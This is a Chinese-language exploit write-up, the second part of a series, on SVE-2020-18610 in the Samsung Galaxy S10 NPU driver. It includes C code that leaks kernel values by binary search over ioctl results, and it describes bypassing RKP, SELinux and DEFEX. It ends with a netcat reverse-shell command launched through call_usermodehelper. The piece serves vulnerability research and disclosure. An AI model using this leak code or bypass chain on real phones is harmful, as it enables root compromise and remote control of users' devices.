深入剖析SVE-2020-18610漏洞(下)

 

关于Samsung Galaxy的NPU漏洞,谷歌安全团队Project Zero曾经专门撰文加以介绍;但是,在本文中,我们将为读者介绍另外一种不同的漏洞利用方法。由于该漏洞本身非常简单,因此,我们将重点放在如何获得AAR/AAW,以及如何绕过Samsung Galaxy的缓解措施(如SELinux和KNOX)方面。我们的测试工作是在Samsung Galaxy S10上完成的,对于Samsung Galaxy S20,这里介绍的方法应该同样有效。

(接上文)

 

初始内核内存泄漏

实际上,实现信息泄漏的途径有很多,这里采用的方法是:通过VS4L_VERTEXIOC_S_FORMAT ioctl接口来调用内核空间中的npu_session_format函数。

int npu_session_format(struct npu_queue *queue, struct vs4l_format_list *flist)
{
	...
	ncp_vaddr = (char *)session->ncp_mem_buf->vaddr;
	ncp = (struct ncp_header *)ncp_vaddr;

	address_vector_offset = ncp->address_vector_offset;
	address_vector_cnt = ncp->address_vector_cnt;

	memory_vector_offset = ncp->memory_vector_offset;
	memory_vector_cnt = ncp->memory_vector_cnt;

	mv = (struct memory_vector *)(ncp_vaddr + memory_vector_offset);
	av = (struct address_vector *)(ncp_vaddr + address_vector_offset);

	formats = flist->formats;

	if (flist->direction == VS4L_DIRECTION_IN) {
		FM_av = session->IFM_info[0].addr_info;
		FM_cnt = session->IFM_cnt;
	}
	...
	for (i = 0; i < FM_cnt; i++) {
		...
		bpp = (formats + i)->pixel_format;
		channels = (formats + i)->channels;
		width = (formats + i)->width;
		height = (formats + i)->height;
		cal_size = (bpp / 8) * channels * width * height;
    ...
#ifndef SYSMMU_FAULT_TEST
		if ((FM_av + i)->size > cal_size) {
			npu_uinfo("in_size(%zu), cal_size(%u) invalid\n", session, (FM_av + i)->size, cal_size);
			ret = NPU_ERR_DRIVER(NPU_ERR_SIZE_NOT_MATCH);
			goto p_err;
		}
#endif
	}
  ...

由于(FM_av + i)->size指向某个超出范围的值,而cal_size由用户提供的数据决定,因此,我们可以推测出(FM_av + i)->size的值是多少。

有人会问:“推测出(FM_av + i)->size的值是多少?毕竟我们无法将这个值传入用户空间!”。

是的。但是即使我们不能直接把内核值放到用户空间中,但是,我们仍然可以根据ioctl的返回值通过二分查找来猜测它的值。就像SQL盲注一样,如果(FM_av + i)->size > cal_size不成立,ioctl接口就会向用户返回failure值。所以,我们可以通过这个方法得到内核的基地址和内核的栈地址。

unsigned long long _leak(u32 off){
    int res;
    struct vs4l_format format;

leak_retry:
    fd_clear();
    if ((npu_fd = open("/dev/vertex10", O_RDONLY)) < 0){
        goto leak_retry;
    }

    memset(&format, 0, sizeof(format));

    format.stride = 0x0;
    format.cstride =  0x0;
    format.height = 1;
    format.width = 1;
    format.pixel_format = 8;

    unsigned long long g = (0xffffffff) / 2;
    unsigned long long  h = 0xffffffff;
    unsigned long long l = 1;

    ncp_page->memory_vector_offset = 0x200;
    ncp_page->memory_vector_cnt = 0x1;
    ncp_page->address_vector_offset = off;
    ncp_page->address_vector_cnt = 0x1;

    if (npu_graph_ioctl() < 0){
        close(npu_fd);
        fd_clear();
        npu_fd = -1;
        goto leak_retry;
    }

    unsigned long long old = g;
    format.channels = g;
    res = npu_format_ioctl(&format);
    while (1) {
        if (!res) {
            h = g - 1;
            g = (h + l)/2;
        } else {
            l = g + 1;
            g = (h + l) / 2;
            close(npu_fd);
            fd_clear();

            if ((npu_fd = open("/dev/vertex10", O_RDONLY)) < 0) {
                perror("open(\"/dev/vertext10\") : ");
                goto leak_retry;
            }

            ncp_page->memory_vector_offset = 0x200;
            ncp_page->memory_vector_cnt = 0x1;
            ncp_page->address_vector_offset = off;
            ncp_page->address_vector_cnt = 0x1;
            if (npu_graph_ioctl() < 0) {
                close(npu_fd);
                npu_fd = -1;
                goto leak_retry;
            }
        }
        if (old == g) {
            break;
        }
        old = g;
        memset(&format, 0, sizeof(format));
        format.stride = 0x0;
        format.cstride =  0x0;
        format.height = 1;
        format.width = 1;
        format.pixel_format = 8;
        format.channels = g;
        res = npu_format_test(&format);
    }
  
    close(npu_fd);
    npu_fd = -1;
    return g > 0 ? g+1 : 0;
}

 

利用越界读写原语

与P0的方法不同的是,我们在越界读/写方面没有任何限制,所以,我们的任意地址读/写和内核函数调用都是基于纯ROP的。

与P0的pselect()函数类似,read()/write()系统调用也会被阻塞,直到目标文件描述符准备好为止,所以,这些函数的参数会被溢出到堆栈。我们可以识别目标函数的栈帧,例如借助于签名值0x41414141。利用管道文件描述符的读写阻塞机制,我们可以与子进程交互使用函数copy_to_user_fromio()/copy_from_user_toio()。

 

获得Root权限?

正如我们在本文开头提到的,由于RKP的原因,单纯的覆盖cred结构在Samsung Galaxy设备中是行不通的。因此,要想获得root权限,就必须放弃原来linux内核或Google Nexus/Pixel内核中使用的旧方法。

  1. 不能覆盖cred结构体。
  2. 不能伪造cred相关的结构体。

现在,我们需要的是首先获得root权限的代码执行原语来绕过UID检查,以进一步利用漏洞。实际上,以前的漏洞利用方法大多集中在伪造当前进程的凭证上,大家都沉迷于这种方法,而没有去探索新的方法。

虽然这么多资源都受到Samsung安全机制的保护,但task的内核栈却是可写的。所以,通过遍历init进程的task_struct,我们可以找到所有task的内核栈!

我们可以通过task_struct结构体中的void *stack成员获取task的栈地址。通过AAW原语修改目标task的内核栈,我们就可以以其他task的权限来执行ROP。但是,在对目标task执行ROP之前,我们首先需要绕过SELinux。

 

绕过SELinux

由于SELinux是目前所有Android系统的默认配置,所以,即使攻击者获得了root权限,他们能做的事情也取决于SELinux策略。在谷歌的Android设备中,如果攻击者成功获得AAR/AAW原语,只需将selinux_enforcing覆盖为0,就可以轻松绕过SELinux。但是,Samsung的SELinux改进了以下功能。

  1. selinux_enforcing现在位于kdp_ro节。
  2. 禁止重载SELinux策略。
  3. 允许域被完全删除。

Samsung Galaxy S7

在KeenLab的Blackhat 2017 WP中,他们是通过重载SELinux策略绕过了Samsung Galaxy S7上的SELinux。同时,由于ss_initialized变量不受RKP保护,他们可以将ss_initialized覆盖为0,这意味着SELinux还没有初始化。覆盖后,他们使用libsepol API重载了SELinux策略。

static struct sidtab sidtab;
struct policydb policydb;
#if (defined CONFIG_RKP_KDP && defined CONFIG_SAMSUNG_PRODUCT_SHIP)
int ss_initialized __kdp_ro;
#else
int ss_initialized;
#endif

但是,在最新的Samsung Galaxy内核源代码中,ss_initialized已受到RKP的保护,因此,我们已经无法再使用上述方法了。

Samsung Galaxy S8

在iceswordlab关于获取Samsung Galaxy s8的root权限的文章中,他们覆盖了security_hook_heads,因为这个变量也不受RKP的保护,这意味着它是允许读/写的变量。但正如前面的代码所示,security_hook_heads现在处于只读的保护状态。

// security/security.c
struct security_hook_heads security_hook_heads __lsm_ro_after_init;

 

让SELinux策略重新加载成为可能

虽然ss_initialized变量在RKP中,但是我们仍然可以通过在内核空间中滥用SELinux策略相关的API来绕过SELinux。首先,我们需要考察一下security_load_policy函数。

// security/selinux/ss/services.c
int security_load_policy(void *data, size_t len)
{
	struct policydb *oldpolicydb, *newpolicydb;
	struct sidtab oldsidtab, newsidtab;
	struct selinux_mapping *oldmap, *map = NULL;
	struct convert_context_args args;
	u32 seqno;
	u16 map_size;
	int rc = 0;
	struct policy_file file = { data, len }, *fp = &file;

	oldpolicydb = kzalloc(2 * sizeof(*oldpolicydb), GFP_KERNEL);
	if (!oldpolicydb) {
		rc = -ENOMEM;
		goto out;
	}
	newpolicydb = oldpolicydb + 1;

	if (!ss_initialized) {
		avtab_cache_init();
		ebitmap_cache_init();
		rc = policydb_read(&policydb, fp);
		if (rc) {
			avtab_cache_destroy();
			ebitmap_cache_destroy();
			goto out;
		}
    
		...
  
#if (defined CONFIG_RKP_KDP && defined CONFIG_SAMSUNG_PRODUCT_SHIP)
     uh_call(UH_APP_RKP, RKP_KDP_X60, (u64)&ss_initialized, 1, 0, 0);

    ...

如果SELinux未初始化,则可以通过kmem_cache_zalloc来初始化avtab_cache和ebitmap_cache。其中,avtab是access vector table的缩写,用于表示类型执行表,而ebitmap是extensible bitmap的缩写,它表示值集,例如类型,角色,类别和类。

因此,就像ss_initialized变量为0的情况一样,如果我们首先调用avtab_cache_init和ebitmap_cache_init,因为avtab_node_cachep,avtab_xperms_cachep和ebitmap_node_cachep不受RKP保护,这些变量将被重新初始化。

接下来,将我们的自定义SELinux策略数据复制到内核空间。然后,使用我们的自定义策略数据调用security_load_policy。清除avc_cache后,我们的策略数据将重新加载所有SELinux策略。

 

战胜DEFEX

即使我们通过利用内核绕过SELinux并成功获得了root权限,但是受制于Oreo(Android 8)之后引入的DEFEX防御机制,进程的访问权限仍然会面临诸多限制。

这个新的保护措施基于defex_static_rules,可以防止任何进程以root身份运行。

// security/samsung/defex_lsm/defex_rules.c
const struct static_rule defex_static_rules[] = {
	{feature_ped_path,"/"},
	{feature_safeplace_status,"1"},
	{feature_immutable_status,"1"},
	{feature_ped_status,"1"},
#ifndef DEFEX_USE_PACKED_RULES
	{feature_ped_exception,"/system/bin/run-as"},	/* DEFAULT */
	{feature_safeplace_path,"/init"},
	{feature_safeplace_path,"/system/bin/init"},
	{feature_safeplace_path,"/system/bin/app_process32"},
	{feature_safeplace_path,"/system/bin/app_process64"},
  
  ...

在task_defex_enforce()函数内部,会调用task_defex_check_creds()来检查目标进程是否正常。如下面的代码所示,它会进行三项检查,以决定是否放行。

  1. 当前进程是否具有root权限 (uid == 0 || gid == 0)
  2. 父进程是否为非root权限的进程。
  3. 当前进程是否为受DEFEX保护的进程。
// security/defex_lsm/defex_procs.c
#ifndef CONFIG_SECURITY_DSMS
static int task_defex_check_creds(struct task_struct *p)
#else
static int task_defex_check_creds(struct task_struct *p, int syscall)
#endif /* CONFIG_SECURITY_DSMS */
{
...
		if (CHECK_ROOT_CREDS(p) && !CHECK_ROOT_CREDS(p->real_parent) &&
			task_defex_is_secured(p)) {
		set_task_creds(p->pid, dead_uid, dead_uid, dead_uid);
		if (p->tgid != p->pid)
			set_task_creds(p->tgid, dead_uid, dead_uid, dead_uid);
		case_num = 4;
		goto show_violation;
	}
...

因此,如果以上3个条件都成立,DEFEX机制将返回-DEFEX_DENY,并提供相应的错误日志。而task_defex_enforce()函数则是在底层的操作中被调用的,所以即使不受信任的应用程序通过利用内核漏洞获得了root权限,那么它的底层操作如open/read/write/execve也都会受到限制。

// security/samsung/defex_lsm/defex_procs.c
int task_defex_enforce(struct task_struct *p, struct file *f, int syscall)
{
	int ret = DEFEX_ALLOW;
	int feature_flag;
	const struct local_syscall_struct *item;
	struct defex_context dc;

...

#ifdef DEFEX_SAFEPLACE_ENABLE
	/* Safeplace feature */
	if (feature_flag & FEATURE_SAFEPLACE) {
		if (syscall == __DEFEX_execve) {
			ret = task_defex_safeplace(&dc);
			if (ret == -DEFEX_DENY) {
				if (!(feature_flag & FEATURE_SAFEPLACE_SOFT)) {
					kill_process(p);
					goto do_deny;
				}
			}
		}
	}
#endif /* DEFEX_SAFEPLACE_ENABLE */
  
...

fs/exec.c:
  1983  #ifdef CONFIG_SECURITY_DEFEX
  1984: 	retval = task_defex_enforce(current, file, -__NR_execve);
  1985  	if (retval < 0) {

fs/open.c:
  1083  #ifdef CONFIG_SECURITY_DEFEX
  1084: 		if (!IS_ERR(f) && task_defex_enforce(current, f, -__NR_openat)) {
  1085  			fput(f);

fs/read_write.c:
  568  #ifdef CONFIG_SECURITY_DEFEX
  569: 		if (task_defex_enforce(current, file, -__NR_write))
  570  			return -EPERM;

如下面的代码所示,函数call_usermodehelper还会使用do_execve,不过,通过这种方式来获取特权方法的旧路已经被DEFEX堵上了。

static int call_usermodehelper_exec_async(void *data)
{
	...
	new = prepare_kernel_cred(current);
	...
	commit_creds(new);
	...
	retval = do_execve(getname_kernel(sub_info->path),
			   (const char __user *const __user *)sub_info->argv,
			   (const char __user *const __user *)sub_info->envp);
  ...

除了do_execve中的DEFEX检查之外,在调用call_usermodehelper_exec_async之前,call_usermodehelper_exec还会进行另一项DEFEX检查,具体如下面的代码所示。

 int call_usermodehelper_exec(struct subprocess_info *sub_info, int wait)
 {
     DECLARE_COMPLETION_ONSTACK(done);
     int retval = 0;
   
		...

#if defined(CONFIG_SECURITY_DEFEX) && ANDROID_VERSION >= 100000 /* Over Q in case of Exynos */
     if (task_defex_user_exec(sub_info->path)) {
         goto out;
     }
 #endif

		...
      
	  queue_work(system_unbound_wq, &sub_info->work);

   	...

以上task_defex_user_exec是Samsung Galaxy在2020年9月的固件更新中新增的内核函数。

 

绕过DEFEX防御机制

正如我们在上面的部分所看到的,由于受到DEFEX机制的影响,仅仅调用call_usermodehelper是不起作用的,但是,ueventd却是以root权限运行的进程,而且其父进程是init进程,并且,它还不受DEFEX的保护。

就像我们绕过SELinux限制一样,为了绕过DEFEX防御机制,只需在ueventd进程中单独调用call_usermodehelper的子例程即可。

  1. 通过任意的内核写原语在内核内存中设置call_usermodehelper_setup的参数。
  2. 通过任意的内核函数调用原语,用我们的参数调用call_usermodehelper_setup。
  3. 读取并复制system_unbound_wq和sub_info数据。
  4. 用复制的system_unbound_wq和sub_info调用queue_work。
  5. 由于do_execve中存在DEFEX检查,所以,我们需要使用/system/bin/sh -c “while [ 1 ] ; do /system/bin/toybox nc …”这样的shellscript,因为/system/bin/sh具有feature_safeplace_path属性。

这样,我们就可以通过具有内核权限的远程服务器获取反向shell。

DEMO(https://twitter.com/vngkv123/status/1328223035137036290?s=20

 

小结

目前,Android和iOS都在努力防止攻击者利用其资源。但是,完全消除所有的漏洞几乎是不可能的,所以,他们的防御重点转向通过引入类似CFI的机制来加强各种防护措施。虽然这些缓解措施显著降低了漏洞利用的成功率,但攻击者总能找到绕过它们的相应方法。

(完)